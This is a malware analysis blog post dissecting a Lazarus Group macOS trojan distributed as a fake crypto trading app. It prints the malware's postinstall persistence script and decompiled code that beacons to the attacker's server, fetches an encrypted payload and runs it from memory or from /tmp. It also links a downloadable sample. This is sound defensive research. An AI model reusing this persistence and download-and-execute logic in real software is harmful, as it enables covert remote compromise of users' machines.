# Objective-See's Blog **objective-see.com/blog/blog_0x51.html** Lazarus Group Goes 'Fileless' an implant w/ remote download & in-memory execution by: Patrick Wardle / December 3, 2019 Our research, tools, and writing, are supported by "Friends of Objective-See" such as: [CleanMy Mac X](https://macpaw.com/cleanmymac) Malwarebytes Airo AV [Become a Friend!](https://objective-see.com/friends.html) \ \ 📝 đŸ‘Ÿ Want to play along? [I’ve added the sample (‘OSX.AppleJeus.C’) to our malware collection (password: infect3d)](https://objective-see.com/downloads/malware/AppleJeus.zip) 
please don’t infect yourself! ## Background Today, [Dinesh_Devadoss posted a tweet about another Lazarus group macOS trojan:](https://twitter.com/dineshdina04/) [Another #Lazarus](https://twitter.com/hashtag/Lazarus?src=hash&ref_src=twsrc%5Etfw) [#macOS](https://twitter.com/hashtag/macOS?src=hash&ref_src=twsrc%5Etfw) [#trojan](https://twitter.com/hashtag/trojan?src=hash&ref_src=twsrc%5Etfw) md5: 6588d262529dc372c400bef8478c2eec hxxps://unioncrypto.vip/ Contains code: Loads Mach-O from memory and execute it / Writes to a file and [execute it@patrickwardle](https://twitter.com/patrickwardle?ref_src=twsrc%5Etfw) [@thomasareed](https://twitter.com/thomasareed?ref_src=twsrc%5Etfw) [pic.twitter.com/Mpru8FHELi](https://t.co/Mpru8FHELi) [— Dinesh_Devadoss (@dineshdina04) December 3, 2019](https://twitter.com/dineshdina04/status/1201834142704394242?ref_src=twsrc%5Etfw) [As I’d recently written about a Lazarus group first stage implant (see: “Pass the AppleJeus”),](https://objective-see.com/blog/blog_0x49.html) I was intrigued to analyze this sample! ----- We ll see while there are some clear overlaps, this (new) sample contains a rather sophisticated capabilities, which I’ve never seen before in (public) macOS malware! The Lazarus Group has recently been quite active in the macOS space. To read more about their past activity, see: “Operation AppleJeus: Lazarus hits cryptocurrency exchange w/ fake installer & macOS malware” \ [“Mac Malware that Spoofs Trading App Steals User Information, Uploads it to Website”](https://blog.trendmicro.com/trendlabs-security-intelligence/mac-malware-that-spoofs-trading-app-steals-user-information-uploads-it-to-website/) \ [“Detecting macOS.GMERA Malware Through Behavioral Inspection” \](https://www.sentinelone.com/blog/detecting-macos-gmera-malware-through-behavioral-inspection/) [“Pass the AppleJeus”](https://objective-see.com/blog/blog_0x49.html) ## Infection Vector In his [tweet, Dinesh kindly provided an MD5 hash:](https://twitter.com/dineshdina04/status/1201834142704394242) `6588d262529dc372c400bef8478c2eec` which allows us to locate the sample ( UnionCryptoTrader.dmg ) on VirusTotal, where it’s [only flagged as malicious by two of the engines. (See: UnionCryptoTrader.dmg on](https://www.virustotal.com/gui/file/2ab58b7ce583402bf4cbc90bee643ba5f9503461f91574845264d4f7e3ccb390/detection) VirusTotal). From the URL provided in Dinesh’s [tweet, ( https://unioncrypto.vip/ ) and spelunking](https://twitter.com/dineshdina04/status/1201834142704394242) around on VirusTotal, we can gain an understanding of the infection mechanism. Lazarus Group has a propensity for targeting users or administrators of crypto-currency exchanges. And their de facto method of infecting such targets is via fake crypto-currency company and trading applications. As part of my recent RSA [presentation I highlighted their attack vector: \](https://www.rsaconference.com/industry-topics/presentation/whats-your-game-plan-leveraging-apples-game-engine-to-detect-threats) ----- In this specific attack, Lazarus group created a new website, `unioncrypto.vip : \` Pinging this site reveals that it’s still online, and resolving to `104.168.167.16 :` ``` $ ping unioncrypto.vip PING unioncrypto.vip (104.168.167.16): 56 data bytes 64 bytes from 104.168.167.16: icmp_seq=0 ttl=112 time=91.483 ms ``` [Querying VirusTotal with this IP address, we find a URL request that triggered a download of](https://www.virustotal.com/gui/url/1b3d9c75fd1f2e738011997d91cd959156af9c11d391a91fe5cb2b4562accce4/detection) the malicious application ( https://www.unioncrypto.vip/download/W6c2dq8By7luMhCmya2v97YeN ): ----- It seems reasonable to assume that Lazarus Group is sticking with its successful attack vector (of targeting employees of crypto-currency exchanges with trojanized trading applications) 
for now! ## Analysis (Persistence) Let’s begin analysis of the trojanzied application. Said application is delivered via a disk image, named `UnionCryptoTrader.dmg We can mount this disk image, via the` `hdiutil` ``` attach command: $ hdiutil attach ~/Downloads/UnionCryptoTrader.dmg expected CRC32 $7720DF1C /dev/disk4 GUID_partition_scheme /dev/disk4s1 Apple_APFS /dev/disk5 EF57347C-0000-11AA-AA11-0030654 /dev/disk5s1 41504653-0000-11AA-AA11-0030654 /Volumes/UnionCryptoTrader ``` It contains a single package: `UnionCryptoTrader.pkg :` ``` $ ls -lart /Volumes/UnionCryptoTrader total 40120 -rwxrwxrwx 1 patrick staff 20538265 Sep 4 06:25 UnionCryptoTrader.pkg ``` Via our [“WhatsYourSign” application, it’s easy to see the](https://objective-see.com/products/whatsyoursign.html) `UnionCryptoTrader.pkg` package is unsigned: ----- 
which means macOS will warn the user, if they attempt to open it: Taking a peek at the package, uncovers a `postinstall script that will be executed at the` end of the installation process: ``` 1#!/bin/sh 2mv /Applications/UnionCryptoTrader.app/Contents/Resources/.vip.unioncrypto.plist 3 /Library/LaunchDaemons/vip.unioncrypto.plist 4 5chmod 644 /Library/LaunchDaemons/vip.unioncrypto.plist 6mkdir /Library/UnionCrypto 7 8mv /Applications/UnionCryptoTrader.app/Contents/Resources/.unioncryptoupdater 9 /Library/UnionCrypto/unioncryptoupdater 10 11chmod +x /Library/UnionCrypto/unioncryptoupdater 12/Library/UnionCrypto/unioncryptoupdater & ``` The purpose of this script is to persistently install a launch daemon. Specifically, the script will: ----- move a hidden plist ( .vip.unioncrypto.plist ) from the application s `Resources` directory into `/Library/LaunchDaemons` set it to be owned by root create a `/Library/UnionCrypto directory` move a hidden binary ( .unioncryptoupdater ) from the application’s `Resources` directory into `/Library/UnionCrypto/` set it to be executable execute this binary ( /Library/UnionCrypto/unioncryptoupdater ) [We can passively observe this part of the installation via either our File or](https://objective-see.com/products/utilities.html#FileMonitor) [Process monitors:](https://objective-see.com/products/utilities.html#ProcessMonitor) ----- ``` # ProcessMonitor.app/Contents/MacOS/ProcessMonitor pretty { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 0, "arguments" : [ "mv", "/Applications/UnionCryptoTrader.app/Contents/Resources/.vip.unioncrypto.plist", "/Library/LaunchDaemons/vip.unioncrypto.plist" ], "ppid" : 3457, "ancestors" : [ 3457, 951, 1 ], "signing info" : { "csFlags" : 603996161, "signatureIdentifier" : "com.apple.mv", "cdHash" : "7F1F3DE78B1E86A622F0B07F766ACF2387EFDCD", "isPlatformBinary" : 1 }, "path" : "/bin/mv", "pid" : 3458 }, "timestamp" : "2019-12-05 20:14:28 +0000" } ... { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 0, "arguments" : [ "mv", "/Applications/UnionCryptoTrader.app/Contents/Resources/.unioncryptoupdater", "/Library/UnionCrypto/unioncryptoupdater" ], "ppid" : 3457, "ancestors" : [ 3457, 951, 1 ], "signing info" : { "csFlags" : 603996161, "signatureIdentifier" : "com.apple.mv", "cdHash" : "7F1F3DE78B1E86A622F0B07F766ACF2387EFDCD", "isPlatformBinary" : 1 }, "path" : "/bin/mv", "pid" : 3461 ``` ----- ``` }, "timestamp" : "2019-12-05 20:14:28 +0000" } ... { "event" : "ES_EVENT_TYPE_NOTIFY_EXEC", "process" : { "uid" : 0, "arguments" : [ "/Library/UnionCrypto/unioncryptoupdater" ], "ppid" : 1, "ancestors" : [ 1 ], "signing info" : { "csFlags" : 536870919, "signatureIdentifier" : "macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392", "cdHash" : "8D204E5B7AE08E80B728DE675AEB8CC735CCF6E7", "isPlatformBinary" : 0 }, "path" : "/Library/UnionCrypto/unioncryptoupdater", "pid" : 3463 }, "timestamp" : "2019-12-05 20:14:28 +0000" } ``` Though installing a launch daemon requires root access, the installer will prompt the user for their credentials: Once the installer completes, the binary `unioncryptoupdater will both currently` executing, and persistently installed: ``` $ ps aux | grep [u]nioncryptoupdater root 1254 /Library/UnionCrypto/unioncryptoupdater ``` ----- Of course, [BlockBlock will detect the launch daemon persistence attempt:](https://objective-see.com/products/blockblock.html) As noted, persistence is achieved via the `vip.unioncrypto.plist launch daemon:` ``` 1 2 3 4 5 Label 6 vip.unioncrypto.product 7 ProgramArguments 8 9 /Library/UnionCrypto/unioncryptoupdater 10 11 RunAtLoad 12 13 14 ``` As the `RunAtLoad key is set to` `true this instruct macOS to automatically launch the` binary specified in the `ProgramArguments array each time the infected system is rebooted.` As such `/Library/UnionCrypto/unioncryptoupdater will be automatically (re)` executed. Installing a launch daemon (who’s plist and binary were both stored hidden in the application’s resource directory) again matches Lazarus groups modus operandi. See Kaspersky’s writeup: “Operation AppleJeus: Lazarus hits cryptocurrency exchange with fake installer and macOS malware” ## Analysis (Capabilities) Ok, time to analyze the persisted `unioncryptoupdater binary.` ----- Via the `file command we can ascertain its a standard macOS (64bit) binary:` ``` $ file /Library/UnionCrypto/unioncryptoupdater /Library/UnionCrypto/unioncryptoupdater: Mach-O 64-bit executable x86_64 ``` The `codesign utility shows us both it identifier ( macloader-` ``` 55554944ee2cb96a1f5132ce8788c3fe0dfe7392 ) and the fact that it’s not signed with a ``` valid code signing id, but rather adhoc ( Signature=adhoc ): ``` $ codesign -dvv /Library/UnionCrypto/unioncryptoupdater Executable=/Library/UnionCrypto/unioncryptoupdater Identifier=macloader-55554944ee2cb96a1f5132ce8788c3fe0dfe7392 Format=Mach-O thin (x86_64) CodeDirectory v=20100 size=739 flags=0x2(adhoc) hashes=15+5 location=embedded Signature=adhoc Info.plist=not bound TeamIdentifier=not set Sealed Resources=none Internal requirements count=0 size=12 ``` Running the `strings utility (with the` `-a flag) reveals some interesting strings:` ----- ``` $ strings a /Library/UnionCrypto/unioncryptoupdater curl_easy_perform() failed: %s AES_CYPHER_128 encrypt test case: AES_CYPHER_128 decrypt test case: AES_CYPHER_192 encrypt test case: AES_CYPHER_192 decrypt test case: AES_CYPHER_256 encrypt test case: AES_CYPHER_256 decrypt test case: Input: IOPlatformExpertDevice IOPlatformSerialNumber /System/Library/CoreServices/SystemVersion.plist ProductVersion ProductBuildVersion Mac OS X %s (%s) ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ /tmp/updater %s %s NO_ID %s%s 12GWAPCT1F0I1S14 auth_timestamp auth_signature check https://unioncrypto.vip/update done /bin/rcp Could not create image. Could not link image. Could not find ec. Could not resolve symbol: _sym[25] == 0x4d6d6f72. Could not resolve symbol: _sym[4] == 0x4d6b6e69. ``` Strings such as `IOPlatformSerialNumber and reference to the` `SystemVersion.plist` likely indicate basic survey capabilities (to gather information about the infected system). The reference to `libcurl API ( curl_easy_perform ) and embedded url` ``` https://unioncrypto.vip/update indicate networking and/or command and control ``` capabilities. Opening a the binary ( unioncryptoupdater ) in a disassembler, shows the `main function` simply invoking a function named `onRun :` ``` 1int _main() { 2 rbx = objc_autoreleasePoolPush(); 3 4 onRun(); 5 6 objc_autoreleasePoolPop(rbx); 7 return 0x0; 8} ``` Though rather long and involved we can break down its logic. ----- 1. Instantiate a C++ class named Barbeque: `Barbeque::Barbeque(); By piping the` output of the `nm utility into` `c++filt we can dump other methods from the` ``` Barbeque class: $ nm unioncryptoupdater | c++filt unsigned short Barbeque::Barbeque() unsigned short Barbeque::get( ... ) unsigned short Barbeque::post( ... ) unsigned short Barbeque::~Barbeque() ``` Based on method names, perhaps the `Barbeque class contains network related` logic? \ 2. Invokes a function named `getDeviceSerial to retrieve the system serial number via` ``` IOKit ( IOPlatformSerialNumber ): 1int __Z15getDeviceSerialPc(int * arg0) { 2 3 ... 4 5 r15 = *(int32_t *)*_kIOMasterPortDefault; 6 rax = IOServiceMatching("IOPlatformExpertDevice"); 7 rax = IOServiceGetMatchingService(r15, rax); 8 if (rax != 0x0) { 9 rbx = CFStringGetCString(IORegistryEntryCreateCFProperty(rax, 10 @"IOPlatformSerialNumber", **_kCFAllocatorDefault, 0x0), 11 r14, 0x20, 0x8000100) != 0x0 ? 0x1 : 0x0; 12 13 IOObjectRelease(rax); 14 } 15 rax = rbx; 16 return rax; 17} ``` Debugging the malware (in a VM), shows this method correctly returns the virtual machine’s serial number ( VM+nL/ueNmNG ): ``` (lldb) x/s $rax 0x7ffeefbff810: "VM+nL/ueNmNG" ``` \ ----- 3. Invokes a function named `getOSVersion in order to retrieve the OS version, by` reading the system file, `/System/Library/CoreServices/SystemVersion.plist` (which contains various version-related information): ``` $ defaults read /System/Library/CoreServices/SystemVersion.plist { ProductBuildVersion = 18F132; ProductCopyright = "1983-2019 Apple Inc."; ProductName = "Mac OS X"; ProductUserVisibleVersion = "10.14.5"; ProductVersion = "10.14.5"; iOSSupportVersion = "12.3"; } ``` Again in the debugger, we can observe the malware retrieving this information (specifically the `ProductName,` `ProductUserVisibleVersion, and` ``` ProductBuildVersion ): (lldb) x/s 0x7ffeefbff790 0x7ffeefbff790: "Mac OS X 10.14.5 (18F132)" ``` 4. Builds a string consisting of the time and hardcode value (key?): `12GWAPCT1F0I1S14` ``` 1sprintf(&var_130, "%ld", time(0x0)); 2rax = sprintf(&var_1B0, "%s%s", &var_130, "12GWAPCT1F0I1S14"); ``` ----- 5. Invokes the `Barbeque::post() method to contact a remote command & control` server ( https://unioncrypto.vip/update ): The network logic leverages via ``` libcurl to perform the actual communications: 1curl_easy_setopt(*r15, 0x2727); 2curl_easy_setopt(*r15, 0x4e2b); 3curl_easy_setopt(*r15, 0x2711); 4rdi = *r15; 5curl_easy_setopt(rdi, 0x271f); 6rax = curl_easy_perform(*r15); ``` Our firewall [LuLu easily detects this connection attempt:](https://objective-see.com/products/lulu.html) 6. If the server responds with the string `"0" the malware will sleep for 10 minutes,` before checking in again with the server: ``` 1if (std::__1::basic_string ... ::compare(rbx, 0x0, 0xffffffffffffffff, "0", 0x1) == 0x0) 2{ 3 sleep(0x258); 4 goto connect2Server; 5} ``` Otherwise it will invoke a function to base64 decode the server’s respond, followed by a function named `processUpdate to execute a downloaded payload from the server.` Ok, so we’ve got a fairly standard persistent 1 -stage implant which beacons to a remotest server for (likely) a 2nd-stage fully-featured implant. At this time, while the remote command & control server remains online, it simply it responding with a “0”, meaning no payload is provided :( \ As such, we must rely on static analysis methods for the remainder of our analysis. ----- However, the is one rather unique aspect of this 1 -stage implant: the ability to execute the received payload, directly from memory! Looks take a closer look at how the malware implements this stealthy capability. Recall that if the server responds with payload (and not a string `"0" ), the malware invokes` the `processUpdate function. First the` `processUpdate decrypts said payload (via` ``` aes_decrypt_cbc ), then invokes a function named load_from_memory . 1aes_decrypt_cbc(0x0, r15, rdx, rcx, &var_40); 2memcpy(&var_C0, r15, 0x80); 3rbx = rbx + 0x90; 4r14 = r14 - 0x90; 5rax = _load_from_memory(rbx, r14, &var_C0, rcx, &var_40, r9); ``` The `load_from_memory function first mmaps some memory (with protections:` PROT_READ | PROT_WRITE | PROT_EXEC). Then copies the decrypted payload into this memory region, before invoking a function named `memory_exec2 :` ``` 1int _load_from_memory(int arg0, int arg1, int arg2, int arg3, int arg4, int arg5) { 2 r14 = arg2; 3 r12 = arg1; 4 r15 = arg0; 5 rax = mmap(0x0, arg1, 0x7, 0x1001, 0xffffffffffffffff, 0x0); 6 if (rax != 0xffffffffffffffff) { 7 memcpy(rax, r15, r12); 8 r14 = _memory_exec2(rax, r12, r14); 9 munmap(rax, r12); 10 rax = r14; 11 } 12 else { 13 rax = 0xffffffffffffffff; 14 } 15 return rax; 16} ``` The `memory_exec2 function invokes the Apple API` ``` NSCreateObjectFileImageFromMemory to create an “object file image” from a memory ``` buffer (of a mach-O file). Following this, the `NSLinkModule method is called to link the` “object file image”. ``` 1int _memory_exec2(int arg0, int arg1, int arg2) { 2 3 ... 4 rax = NSCreateObjectFileImageFromMemory(rdi, rsi, &var_58); 5 6 rax = NSLinkModule(var_58, "core", 0x3); 7 ``` ----- As the layout of an in-memory process image is different from its on disk-in image, one cannot simply copy a file into memory and directly execute it. Instead, one must invoke APIs such as NSCreateObjectFileImageFromMemory and NSLinkModule (which take care of preparing the in-memory mapping and linking). Once the malware has mapped and linked the downloaded payload, it invokes a function named `find_macho which appears to search the memory mapping for` `MH_MAGIC_64, the` 64-bit “mach magic number” in the `mach_header_64 structure ( 0xfeedfacf ):` ``` 1int find_macho(int arg0, int arg1, int arg2, int arg3) { 2 3 ... 4 5 do { 6 ... 7 if ((*(int32_t *)__error() == 0x2) && (*(int32_t *)rbx == 0xfeedfacf)) { 8 break; 9 } 10 11 } while (true); 12} ``` Once the `find_macho method returns, the malware begins parsing the in-memory mach-O` file. It appears to be looking for the address of `LC_MAIN load command ( 0x80000028 ):` ``` 1if (*(int32_t *)rcx == 0x80000028) goto loc_100006ac7; ``` [For an in-depth technical discussion of parsing mach-O files, see: “Parsing Mach-O Files”.](https://lowlevelbits.org/parsing-mach-o-files/) The `LC_MAIN load command contains information such as the entry point of the mach-O` binary (for example, offset `18177 for the` `unioncryptoupdater binary):` ----- The malware then retrieves the offset of the entry point (found at offset `0x8 within the` ``` LC_MAIN load command), sets up some arguments, then jumps to this address: 1//rcx points to the `LC_MAIN` load command 2r8 = r8 + *(rcx + 0x8); 3... 4 5//invoke payload's entry point! 6rax = (r8)(0x2, &var_40, &var_48, &var_50, r8); ``` Delightful! Pure in-memory execution of a remotely downloaded payload. đŸ€© Sexy! In 2015, at BlackHat I discussed this method of in-memory file execution as a means to [increase stealth and complicate forensics (See: “Writing Bad @$$ Malware for OS X”):](https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf) ----- 
kinda neat to see it (finally) show up in macOS malware in the wild! For more details on in-memory code execution in macOS, see: [“Running Executables on macOS From Memory”](https://threatvector.cylance.com/en_us/home/running-executables-on-macos-from-memory.html) Apple’s [“MemoryBasedBundle” sample code](https://developer.apple.com/library/archive/samplecode/MemoryBasedBundle/Introduction/Intro.html#//apple_ref/doc/uid/DTS10003518) \ [Former #OBTS speaker Felix Seele (@c1truz_) noted that the (in)famous InstallCore adware](https://twitter.com/c1truz_) also (ab)used the NSCreateObjectFileImageFromMemory and NSLinkModule APIs to achieve in-memory execution. Interestingly, the malware has a “backup” plan if the in-memory code execution fails. Specifically if `load_from_memory does not return 0 (success) it will write out the received` payload to `/tmp/updater and then execute it via a call to` `system :` ``` 1rax = _load_from_memory(rbx, r14, &var_C0, rcx, &var_40, r9); 2if(rax != 0x0) { 3 fwrite(rbx, r14, 0x1, fopen("/tmp/updater", "wb")); 4 fclose(rax); 5 6 chmod("/tmp/updater", 0x1ff); 7 sprintf(&var_4C0, "%s %s", "/tmp/updater", &var_C0); 8 9 rax = system(&var_4C0); 10 11 unlink("/tmp/updater"); 12} ``` ----- Always good to handle error conditions and have a plan B! ## Conclusion Lazarus group continues to target macOS users with ever evolving capabilities. Today, we analyzed a new sample with the ability to remotely download and execute payloads directly from memory! The good news is the average Mac user doesn’t have to worry about being targeted by APT groups such as Lazarus. Moreover, as the installer package, `UnionCryptoTrader.pkg is` unsigned, macOS will warn any users if they attempt to open it: However, if you do want to manually check if you’re infected, the following IoCs should help: Launch Daemon property list: `/Library/LaunchDaemons/vip.unioncrypto.plist` Running process/binary: `/Library/UnionCrypto/unioncryptoupdater` Or a tool such as [KnockKnock can also uncover the infection:](https://objective-see.com/products/knockknock.html) ----- \ ❀ Love these blog posts and/or want to support my research and tools? \ You can support them via my [Patreon](https://www.patreon.com/bePatron?c=701171) page! 
or better sign up for our [“The Art of Mac Malware Analysis” class at Objective by the Sea](https://objectivebythesea.com/v3/training.html) v3.0! \ This website uses cookies to improve your experience. -----